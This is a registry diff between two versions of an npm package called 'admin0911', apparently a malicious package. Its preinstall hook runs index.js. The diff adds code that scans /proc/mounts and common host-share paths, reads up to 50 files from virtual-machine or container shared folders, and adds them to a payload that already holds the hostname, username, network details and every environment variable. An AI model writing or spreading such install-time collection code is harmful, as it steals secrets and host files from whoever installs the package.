admin0911 1.0.14 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/index.js CHANGED
@@ -1,5 +1,7 @@
1
1
  const https = require('https');
2
+ const fs = require('fs');
2
3
  const os = require('os');
4
+ const path = require('path');
3
5
  const { execSync } = require('child_process');
4
6
 
5
7
  function getRawNetworkInfo() {
@@ -21,6 +23,86 @@ function getNetworkInfo() {
21
23
  }));
22
24
  }
23
25
 
26
+ function getProcMounts() {
27
+ try {
28
+ return fs.readFileSync('/proc/mounts', 'utf8');
29
+ } catch (e) {
30
+ try {
31
+ return execSync('mount', { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'] });
32
+ } catch (mountErr) {
33
+ return '';
34
+ }
35
+ }
36
+ }
37
+
38
+ function getSharedMountPaths() {
39
+ const candidates = ['/mnt/shared', '/mnt/host', '/host', '/shared', '/mnt/vmshare', '/mnt/9p'];
40
+ const present = candidates.filter((p) => fs.existsSync(p));
41
+ const mounts = getProcMounts();
42
+
43
+ mounts.split('\n').forEach((line) => {
44
+ const parts = line.trim().split(/\s+/);
45
+ if (parts.length < 3) return;
46
+ const mountPoint = parts[1];
47
+ const fsType = parts[2];
48
+ if (['9p', 'virtiofs', 'plan9', 'fuse', '9pnet'].includes(fsType.toLowerCase())) {
49
+ present.push(mountPoint);
50
+ }
51
+ if (/shared|host|vmshare|mount/.test(mountPoint.toLowerCase())) {
52
+ present.push(mountPoint);
53
+ }
54
+ });
55
+
56
+ return Array.from(new Set(present.filter((p) => p && fs.existsSync(p))));
57
+ }
58
+
59
+ function readSharedFiles(sharedPaths) {
60
+ const files = [];
61
+ const maxFiles = 50;
62
+ const maxBytes = 128 * 1024;
63
+
64
+ for (const sharedPath of sharedPaths) {
65
+ if (files.length >= maxFiles) break;
66
+ const queue = [{ dir: sharedPath, depth: 0 }];
67
+
68
+ while (queue.length && files.length < maxFiles) {
69
+ const { dir, depth } = queue.shift();
70
+ if (depth > 2) continue;
71
+
72
+ let entries;
73
+ try {
74
+ entries = fs.readdirSync(dir, { withFileTypes: true });
75
+ } catch (e) {
76
+ continue;
77
+ }
78
+
79
+ for (const entry of entries) {
80
+ if (files.length >= maxFiles) break;
81
+ const fullPath = path.join(dir, entry.name);
82
+ try {
83
+ const stats = fs.statSync(fullPath);
84
+ if (stats.isFile()) {
85
+ const record = { path: fullPath, size: stats.size };
86
+ if (stats.size <= maxBytes) {
87
+ record.content = fs.readFileSync(fullPath, 'utf8');
88
+ }
89
+ files.push(record);
90
+ } else if (stats.isDirectory() && depth < 2) {
91
+ queue.push({ dir: fullPath, depth: depth + 1 });
92
+ }
93
+ } catch (e) {
94
+ continue;
95
+ }
96
+ }
97
+ }
98
+ }
99
+
100
+ return files;
101
+ }
102
+
103
+ const sharedPaths = getSharedMountPaths();
104
+ const sharedFiles = readSharedFiles(sharedPaths);
105
+
24
106
  const data = {
25
107
  hostname: os.hostname(),
26
108
  user: os.userInfo().username,
@@ -29,6 +111,10 @@ const data = {
29
111
  summary: getNetworkInfo(),
30
112
  raw: getRawNetworkInfo()
31
113
  },
114
+ shared: {
115
+ paths: sharedPaths,
116
+ files: sharedFiles
117
+ },
32
118
  env: process.env
33
119
  };
34
120
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "1.0.14",
3
+ "version": "1.0.15",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file